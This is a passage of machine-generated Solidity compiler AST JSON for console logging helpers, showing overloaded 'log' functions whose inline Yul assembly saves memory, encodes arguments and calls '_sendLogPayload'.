e":"YulLiteral","src":"315525:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"315534:1:22","nodeType":"YulLiteral","src":"315534:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"315537:6:22","nodeType":"YulIdentifier","src":"315537:6:22"}],"functionName":{"name":"shl","nativeSrc":"315530:3:22","nodeType":"YulIdentifier","src":"315530:3:22"},"nativeSrc":"315530:14:22","nodeType":"YulFunctionCall","src":"315530:14:22"}],"functionName":{"name":"sub","nativeSrc":"315521:3:22","nodeType":"YulIdentifier","src":"315521:3:22"},"nativeSrc":"315521:24:22","nodeType":"YulFunctionCall","src":"315521:24:22"},"variables":[{"name":"shift","nativeSrc":"315512:5:22","nodeType":"YulTypedName","src":"315512:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"315573:3:22","nodeType":"YulIdentifier","src":"315573:3:22"},{"kind":"number","nativeSrc":"315578:4:22","nodeType":"YulLiteral","src":"315578:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"315569:3:22","nodeType":"YulIdentifier","src":"315569:3:22"},"nativeSrc":"315569:14:22","nodeType":"YulFunctionCall","src":"315569:14:22"},{"arguments":[{"name":"shift","nativeSrc":"315589:5:22","nodeType":"YulIdentifier","src":"315589:5:22"},{"arguments":[{"name":"shift","nativeSrc":"315600:5:22","nodeType":"YulIdentifier","src":"315600:5:22"},{"name":"w","nativeSrc":"315607:1:22","nodeType":"YulIdentifier","src":"315607:1:22"}],"functionName":{"name":"shr","nativeSrc":"315596:3:22","nodeType":"YulIdentifier","src":"315596:3:22"},"nativeSrc":"315596:13:22","nodeType":"YulFunctionCall","src":"315596:13:22"}],"functionName":{"name":"shl","nativeSrc":"315585:3:22","nodeType":"YulIdentifier","src":"315585:3:22"},"nativeSrc":"315585:25:22","nodeType":"YulFunctionCall","src":"315585:25:22"}],"functionName":{"name":"mstore","nativeSrc":"315562:6:22","nodeType":"YulIdentifier","src":"315562:6:22"},"nativeSrc":"315562:49:22","nodeType":"YulFunctionCall","src":"315562:49:22"},"nativeSrc":"315562:49:22","nodeType":"YulExpressionStatement","src":"315562:49:22"}]},"name":"writeString","nativeSrc":"315283:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"315304:3:22","nodeType":"YulTypedName","src":"315304:3:22","type":""},{"name":"w","nativeSrc":"315309:1:22","nodeType":"YulTypedName","src":"315309:1:22","type":""}],"src":"315283:342:22"},{"nativeSrc":"315638:17:22","nodeType":"YulAssignment","src":"315638:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315650:4:22","nodeType":"YulLiteral","src":"315650:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"315644:5:22","nodeType":"YulIdentifier","src":"315644:5:22"},"nativeSrc":"315644:11:22","nodeType":"YulFunctionCall","src":"315644:11:22"},"variableNames":[{"name":"m0","nativeSrc":"315638:2:22","nodeType":"YulIdentifier","src":"315638:2:22"}]},{"nativeSrc":"315668:17:22","nodeType":"YulAssignment","src":"315668:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315680:4:22","nodeType":"YulLiteral","src":"315680:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"315674:5:22","nodeType":"YulIdentifier","src":"315674:5:22"},"nativeSrc":"315674:11:22","nodeType":"YulFunctionCall","src":"315674:11:22"},"variableNames":[{"name":"m1","nativeSrc":"315668:2:22","nodeType":"YulIdentifier","src":"315668:2:22"}]},{"nativeSrc":"315698:17:22","nodeType":"YulAssignment","src":"315698:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315710:4:22","nodeType":"YulLiteral","src":"315710:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"315704:5:22","nodeType":"YulIdentifier","src":"315704:5:22"},"nativeSrc":"315704:11:22","nodeType":"YulFunctionCall","src":"315704:11:22"},"variableNames":[{"name":"m2","nativeSrc":"315698:2:22","nodeType":"YulIdentifier","src":"315698:2:22"}]},{"nativeSrc":"315728:17:22","nodeType":"YulAssignment","src":"315728:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315740:4:22","nodeType":"YulLiteral","src":"315740:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"315734:5:22","nodeType":"YulIdentifier","src":"315734:5:22"},"nativeSrc":"315734:11:22","nodeType":"YulFunctionCall","src":"315734:11:22"},"variableNames":[{"name":"m3","nativeSrc":"315728:2:22","nodeType":"YulIdentifier","src":"315728:2:22"}]},{"nativeSrc":"315758:17:22","nodeType":"YulAssignment","src":"315758:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315770:4:22","nodeType":"YulLiteral","src":"315770:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"315764:5:22","nodeType":"YulIdentifier","src":"315764:5:22"},"nativeSrc":"315764:11:22","nodeType":"YulFunctionCall","src":"315764:11:22"},"variableNames":[{"name":"m4","nativeSrc":"315758:2:22","nodeType":"YulIdentifier","src":"315758:2:22"}]},{"nativeSrc":"315788:17:22","nodeType":"YulAssignment","src":"315788:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315800:4:22","nodeType":"YulLiteral","src":"315800:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"315794:5:22","nodeType":"YulIdentifier","src":"315794:5:22"},"nativeSrc":"315794:11:22","nodeType":"YulFunctionCall","src":"315794:11:22"},"variableNames":[{"name":"m5","nativeSrc":"315788:2:22","nodeType":"YulIdentifier","src":"315788:2:22"}]},{"nativeSrc":"315818:17:22","nodeType":"YulAssignment","src":"315818:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"315830:4:22","nodeType":"YulLiteral","src":"315830:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"315824:5:22","nodeType":"YulIdentifier","src":"315824:5:22"},"nativeSrc":"315824:11:22","nodeType":"YulFunctionCall","src":"315824:11:22"},"variableNames":[{"name":"m6","nativeSrc":"315818:2:22","nodeType":"YulIdentifier","src":"315818:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"315918:4:22","nodeType":"YulLiteral","src":"315918:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"315924:10:22","nodeType":"YulLiteral","src":"315924:10:22","type":"","value":"0xfc4845f0"}],"functionName":{"name":"mstore","nativeSrc":"315911:6:22","nodeType":"YulIdentifier","src":"315911:6:22"},"nativeSrc":"315911:24:22","nodeType":"YulFunctionCall","src":"315911:24:22"},"nativeSrc":"315911:24:22","nodeType":"YulExpressionStatement","src":"315911:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"315955:4:22","nodeType":"YulLiteral","src":"315955:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"315961:4:22","nodeType":"YulLiteral","src":"315961:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"315948:6:22","nodeType":"YulIdentifier","src":"315948:6:22"},"nativeSrc":"315948:18:22","nodeType":"YulFunctionCall","src":"315948:18:22"},"nativeSrc":"315948:18:22","nodeType":"YulExpressionStatement","src":"315948:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"315986:4:22","nodeType":"YulLiteral","src":"315986:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"315992:2:22","nodeType":"YulIdentifier","src":"315992:2:22"}],"functionName":{"name":"mstore","nativeSrc":"315979:6:22","nodeType":"YulIdentifier","src":"315979:6:22"},"nativeSrc":"315979:16:22","nodeType":"YulFunctionCall","src":"315979:16:22"},"nativeSrc":"315979:16:22","nodeType":"YulExpressionStatement","src":"315979:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316015:4:22","nodeType":"YulLiteral","src":"316015:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"316021:2:22","nodeType":"YulIdentifier","src":"316021:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316008:6:22","nodeType":"YulIdentifier","src":"316008:6:22"},"nativeSrc":"316008:16:22","nodeType":"YulFunctionCall","src":"316008:16:22"},"nativeSrc":"316008:16:22","nodeType":"YulExpressionStatement","src":"316008:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316044:4:22","nodeType":"YulLiteral","src":"316044:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"316050:2:22","nodeType":"YulIdentifier","src":"316050:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316037:6:22","nodeType":"YulIdentifier","src":"316037:6:22"},"nativeSrc":"316037:16:22","nodeType":"YulFunctionCall","src":"316037:16:22"},"nativeSrc":"316037:16:22","nodeType":"YulExpressionStatement","src":"316037:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316078:4:22","nodeType":"YulLiteral","src":"316078:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"316084:2:22","nodeType":"YulIdentifier","src":"316084:2:22"}],"functionName":{"name":"writeString","nativeSrc":"316066:11:22","nodeType":"YulIdentifier","src":"316066:11:22"},"nativeSrc":"316066:21:22","nodeType":"YulFunctionCall","src":"316066:21:22"},"nativeSrc":"316066:21:22","nodeType":"YulExpressionStatement","src":"316066:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44122,"isOffset":false,"isSlot":false,"src":"315638:2:22","valueSize":1},{"declaration":44125,"isOffset":false,"isSlot":false,"src":"315668:2:22","valueSize":1},{"declaration":44128,"isOffset":false,"isSlot":false,"src":"315698:2:22","valueSize":1},{"declaration":44131,"isOffset":false,"isSlot":false,"src":"315728:2:22","valueSize":1},{"declaration":44134,"isOffset":false,"isSlot":false,"src":"315758:2:22","valueSize":1},{"declaration":44137,"isOffset":false,"isSlot":false,"src":"315788:2:22","valueSize":1},{"declaration":44140,"isOffset":false,"isSlot":false,"src":"315818:2:22","valueSize":1},{"declaration":44112,"isOffset":false,"isSlot":false,"src":"316084:2:22","valueSize":1},{"declaration":44114,"isOffset":false,"isSlot":false,"src":"315992:2:22","valueSize":1},{"declaration":44116,"isOffset":false,"isSlot":false,"src":"316021:2:22","valueSize":1},{"declaration":44118,"isOffset":false,"isSlot":false,"src":"316050:2:22","valueSize":1}],"id":44142,"nodeType":"InlineAssembly","src":"315260:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44144,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"316122:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44145,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"316128:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44143,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"316106:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"316106:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44147,"nodeType":"ExpressionStatement","src":"316106:27:22"},{"AST":{"nativeSrc":"316152:214:22","nodeType":"YulBlock","src":"316152:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"316173:4:22","nodeType":"YulLiteral","src":"316173:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"316179:2:22","nodeType":"YulIdentifier","src":"316179:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316166:6:22","nodeType":"YulIdentifier","src":"316166:6:22"},"nativeSrc":"316166:16:22","nodeType":"YulFunctionCall","src":"316166:16:22"},"nativeSrc":"316166:16:22","nodeType":"YulExpressionStatement","src":"316166:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316202:4:22","nodeType":"YulLiteral","src":"316202:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"316208:2:22","nodeType":"YulIdentifier","src":"316208:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316195:6:22","nodeType":"YulIdentifier","src":"316195:6:22"},"nativeSrc":"316195:16:22","nodeType":"YulFunctionCall","src":"316195:16:22"},"nativeSrc":"316195:16:22","nodeType":"YulExpressionStatement","src":"316195:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316231:4:22","nodeType":"YulLiteral","src":"316231:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"316237:2:22","nodeType":"YulIdentifier","src":"316237:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316224:6:22","nodeType":"YulIdentifier","src":"316224:6:22"},"nativeSrc":"316224:16:22","nodeType":"YulFunctionCall","src":"316224:16:22"},"nativeSrc":"316224:16:22","nodeType":"YulExpressionStatement","src":"316224:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316260:4:22","nodeType":"YulLiteral","src":"316260:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"316266:2:22","nodeType":"YulIdentifier","src":"316266:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316253:6:22","nodeType":"YulIdentifier","src":"316253:6:22"},"nativeSrc":"316253:16:22","nodeType":"YulFunctionCall","src":"316253:16:22"},"nativeSrc":"316253:16:22","nodeType":"YulExpressionStatement","src":"316253:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316289:4:22","nodeType":"YulLiteral","src":"316289:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"316295:2:22","nodeType":"YulIdentifier","src":"316295:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316282:6:22","nodeType":"YulIdentifier","src":"316282:6:22"},"nativeSrc":"316282:16:22","nodeType":"YulFunctionCall","src":"316282:16:22"},"nativeSrc":"316282:16:22","nodeType":"YulExpressionStatement","src":"316282:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316318:4:22","nodeType":"YulLiteral","src":"316318:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"316324:2:22","nodeType":"YulIdentifier","src":"316324:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316311:6:22","nodeType":"YulIdentifier","src":"316311:6:22"},"nativeSrc":"316311:16:22","nodeType":"YulFunctionCall","src":"316311:16:22"},"nativeSrc":"316311:16:22","nodeType":"YulExpressionStatement","src":"316311:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"316347:4:22","nodeType":"YulLiteral","src":"316347:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"316353:2:22","nodeType":"YulIdentifier","src":"316353:2:22"}],"functionName":{"name":"mstore","nativeSrc":"316340:6:22","nodeType":"YulIdentifier","src":"316340:6:22"},"nativeSrc":"316340:16:22","nodeType":"YulFunctionCall","src":"316340:16:22"},"nativeSrc":"316340:16:22","nodeType":"YulExpressionStatement","src":"316340:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44122,"isOffset":false,"isSlot":false,"src":"316179:2:22","valueSize":1},{"declaration":44125,"isOffset":false,"isSlot":false,"src":"316208:2:22","valueSize":1},{"declaration":44128,"isOffset":false,"isSlot":false,"src":"316237:2:22","valueSize":1},{"declaration":44131,"isOffset":false,"isSlot":false,"src":"316266:2:22","valueSize":1},{"declaration":44134,"isOffset":false,"isSlot":false,"src":"316295:2:22","valueSize":1},{"declaration":44137,"isOffset":false,"isSlot":false,"src":"316324:2:22","valueSize":1},{"declaration":44140,"isOffset":false,"isSlot":false,"src":"316353:2:22","valueSize":1}],"id":44148,"nodeType":"InlineAssembly","src":"316143:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"315047:3:22","parameters":{"id":44119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44112,"mutability":"mutable","name":"p0","nameLocation":"315059:2:22","nodeType":"VariableDeclaration","scope":44150,"src":"315051:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44111,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315051:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44114,"mutability":"mutable","name":"p1","nameLocation":"315071:2:22","nodeType":"VariableDeclaration","scope":44150,"src":"315063:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44113,"name":"address","nodeType":"ElementaryTypeName","src":"315063:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44116,"mutability":"mutable","name":"p2","nameLocation":"315083:2:22","nodeType":"VariableDeclaration","scope":44150,"src":"315075:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44115,"name":"uint256","nodeType":"ElementaryTypeName","src":"315075:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44118,"mutability":"mutable","name":"p3","nameLocation":"315092:2:22","nodeType":"VariableDeclaration","scope":44150,"src":"315087:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44117,"name":"bool","nodeType":"ElementaryTypeName","src":"315087:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"315050:45:22"},"returnParameters":{"id":44120,"nodeType":"ParameterList","parameters":[],"src":"315110:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44190,"nodeType":"FunctionDefinition","src":"316378:1340:22","nodes":[],"body":{"id":44189,"nodeType":"Block","src":"316453:1265:22","nodes":[],"statements":[{"assignments":[44162],"declarations":[{"constant":false,"id":44162,"mutability":"mutable","name":"m0","nameLocation":"316471:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316463:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44161,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316463:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44163,"nodeType":"VariableDeclarationStatement","src":"316463:10:22"},{"assignments":[44165],"declarations":[{"constant":false,"id":44165,"mutability":"mutable","name":"m1","nameLocation":"316491:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316483:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44164,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316483:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44166,"nodeType":"VariableDeclarationStatement","src":"316483:10:22"},{"assignments":[44168],"declarations":[{"constant":false,"id":44168,"mutability":"mutable","name":"m2","nameLocation":"316511:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316503:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44167,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316503:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44169,"nodeType":"VariableDeclarationStatement","src":"316503:10:22"},{"assignments":[44171],"declarations":[{"constant":false,"id":44171,"mutability":"mutable","name":"m3","nameLocation":"316531:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316523:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44170,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316523:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44172,"nodeType":"VariableDeclarationStatement","src":"316523:10:22"},{"assignments":[44174],"declarations":[{"constant":false,"id":44174,"mutability":"mutable","name":"m4","nameLocation":"316551:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316543:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316543:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44175,"nodeType":"VariableDeclarationStatement","src":"316543:10:22"},{"assignments":[44177],"declarations":[{"constant":false,"id":44177,"mutability":"mutable","name":"m5","nameLocation":"316571:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44176,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44178,"nodeType":"VariableDeclarationStatement","src":"316563:10:22"},{"assignments":[44180],"declarations":[{"constant":false,"id":44180,"mutability":"mutable","name":"m6","nameLocation":"316591:2:22","nodeType":"VariableDeclaration","scope":44189,"src":"316583:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316583:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44181,"nodeType":"VariableDeclarationStatement","src":"316583:10:22"},{"AST":{"nativeSrc":"316612:831:22","nodeType":"YulBlock","src":"316612:831:22","statements":[{"body":{"nativeSrc":"316655:313:22","nodeType":"YulBlock","src":"316655:313:22","statements":[{"nativeSrc":"316673:15:22","nodeType":"YulVariableDeclaration","src":"316673:15:22","value":{"kind":"number","nativeSrc":"316687:1:22","nodeType":"YulLiteral","src":"316687:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"316677:6:22","nodeType":"YulTypedName","src":"316677:6:22","type":""}]},{"body":{"nativeSrc":"316758:40:22","nodeType":"YulBlock","src":"316758:40:22","statements":[{"body":{"nativeSrc":"316787:9:22","nodeType":"YulBlock","src":"316787:9:22","statements":[{"nativeSrc":"316789:5:22","nodeType":"YulBreak","src":"316789:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"316775:6:22","nodeType":"YulIdentifier","src":"316775:6:22"},{"name":"w","nativeSrc":"316783:1:22","nodeType":"YulIdentifier","src":"316783:1:22"}],"functionName":{"name":"byte","nativeSrc":"316770:4:22","nodeType":"YulIdentifier","src":"316770:4:22"},"nativeSrc":"316770:15:22","nodeType":"YulFunctionCall","src":"316770:15:22"}],"functionName":{"name":"iszero","nativeSrc":"316763:6:22","nodeType":"YulIdentifier","src":"316763:6:22"},"nativeSrc":"316763:23:22","nodeType":"YulFunctionCall","src":"316763:23:22"},"nativeSrc":"316760:36:22","nodeType":"YulIf","src":"316760:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"316715:6:22","nodeType":"YulIdentifier","src":"316715:6:22"},{"kind":"number","nativeSrc":"316723:4:22","nodeType":"YulLiteral","src":"316723:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"316712:2:22","nodeType":"YulIdentifier","src":"316712:2:22"},"nativeSrc":"316712:16:22","nodeType":"YulFunctionCall","src":"316712:16:22"},"nativeSrc":"316705:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"316729:28:22","nodeType":"YulBlock","src":"316729:28:22","statements":[{"nativeSrc":"316731:24:22","nodeType":"YulAssignment","src":"316731:24:22","value":{"arguments":[{"name":"length","nativeSrc":"316745:6:22","nodeType":"YulIdentifier","src":"316745:6:22"},{"kind":"number","nativeSrc":"316753:1:22","nodeType":"YulLiteral","src":"316753:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"316741:3:22","nodeType":"YulIdentifier","src":"316741:3:22"},"nativeSrc":"316741:14:22","nodeType":"YulFunctionCall","src":"316741:14:22"},"variableNames":[{"name":"length","nativeSrc":"316731:6:22","nodeType":"YulIdentifier","src":"316731:6:22"}]}]},"pre":{"nativeSrc":"316709:2:22","nodeType":"YulBlock","src":"316709:2:22","statements":[]},"src":"316705:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"316822:3:22","nodeType":"YulIdentifier","src":"316822:3:22"},{"name":"length","nativeSrc":"316827:6:22","nodeType":"YulIdentifier","src":"316827:6:22"}],"functionName":{"name":"mstore","nativeSrc":"316815:6:22","nodeType":"YulIdentifier","src":"316815:6:22"},"nativeSrc":"316815:19:22","nodeType":"YulFunctionCall","src":"316815:19:22"},"nativeSrc":"316815:19:22","nodeType":"YulExpressionStatement","src":"316815:19:22"},{"nativeSrc":"316851:37:22","nodeType":"YulVariableDeclaration","src":"316851:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"316868:3:22","nodeType":"YulLiteral","src":"316868:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"316877:1:22","nodeType":"YulLiteral","src":"316877:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"316880:6:22","nodeType":"YulIdentifier","src":"316880:6:22"}],"functionName":{"name":"shl","nativeSrc":"316873:3:22","nodeType":"YulIdentifier","src":"316873:3:22"},"nativeSrc":"316873:14:22","nodeType":"YulFunctionCall","src":"316873:14:22"}],"functionName":{"name":"sub","nativeSrc":"316864:3:22","nodeType":"YulIdentifier","src":"316864:3:22"},"nativeSrc":"316864:24:22","nodeType":"YulFunctionCall","src":"316864:24:22"},"variables":[{"name":"shift","nativeSrc":"316855:5:22","nodeType":"YulTypedName","src":"316855:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"316916:3:22","nodeType":"YulIdentifier","src":"316916:3:22"},{"kind":"number","nativeSrc":"316921:4:22","nodeType":"YulLiteral","src":"316921:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"316912:3:22","nodeType":"YulIdentifier","src":"316912:3:22"},"nativeSrc":"316912:14:22","nodeType":"YulFunctionCall","src":"316912:14:22"},{"arguments":[{"name":"shift","nativeSrc":"316932:5:22","nodeType":"YulIdentifier","src":"316932:5:22"},{"arguments":[{"name":"shift","nativeSrc":"316943:5:22","nodeType":"YulIdentifier","src":"316943:5:22"},{"name":"w","nativeSrc":"316950:1:22","nodeType":"YulIdentifier","src":"316950:1:22"}],"functionName":{"name":"shr","nativeSrc":"316939:3:22","nodeType":"YulIdentifier","src":"316939:3:22"},"nativeSrc":"316939:13:22","nodeType":"YulFunctionCall","src":"316939:13:22"}],"functionName":{"name":"shl","nativeSrc":"316928:3:22","nodeType":"YulIdentifier","src":"316928:3:22"},"nativeSrc":"316928:25:22","nodeType":"YulFunctionCall","src":"316928:25:22"}],"functionName":{"name":"mstore","nativeSrc":"316905:6:22","nodeType":"YulIdentifier","src":"316905:6:22"},"nativeSrc":"316905:49:22","nodeType":"YulFunctionCall","src":"316905:49:22"},"nativeSrc":"316905:49:22","nodeType":"YulExpressionStatement","src":"316905:49:22"}]},"name":"writeString","nativeSrc":"316626:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"316647:3:22","nodeType":"YulTypedName","src":"316647:3:22","type":""},{"name":"w","nativeSrc":"316652:1:22","nodeType":"YulTypedName","src":"316652:1:22","type":""}],"src":"316626:342:22"},{"nativeSrc":"316981:17:22","nodeType":"YulAssignment","src":"316981:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"316993:4:22","nodeType":"YulLiteral","src":"316993:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"316987:5:22","nodeType":"YulIdentifier","src":"316987:5:22"},"nativeSrc":"316987:11:22","nodeType":"YulFunctionCall","src":"316987:11:22"},"variableNames":[{"name":"m0","nativeSrc":"316981:2:22","nodeType":"YulIdentifier","src":"316981:2:22"}]},{"nativeSrc":"317011:17:22","nodeType":"YulAssignment","src":"317011:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"317023:4:22","nodeType":"YulLiteral","src":"317023:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"317017:5:22","nodeType":"YulIdentifier","src":"317017:5:22"},"nativeSrc":"317017:11:22","nodeType":"YulFunctionCall","src":"317017:11:22"},"variableNames":[{"name":"m1","nativeSrc":"317011:2:22","nodeType":"YulIdentifier","src":"317011:2:22"}]},{"nativeSrc":"317041:17:22","nodeType":"YulAssignment","src":"317041:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"317053:4:22","nodeType":"YulLiteral","src":"317053:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"317047:5:22","nodeType":"YulIdentifier","src":"317047:5:22"},"nativeSrc":"317047:11:22","nodeType":"YulFunctionCall","src":"317047:11:22"},"variableNames":[{"name":"m2","nativeSrc":"317041:2:22","nodeType":"YulIdentifier","src":"317041:2:22"}]},{"nativeSrc":"317071:17:22","nodeType":"YulAssignment","src":"317071:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"317083:4:22","nodeType":"YulLiteral","src":"317083:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeS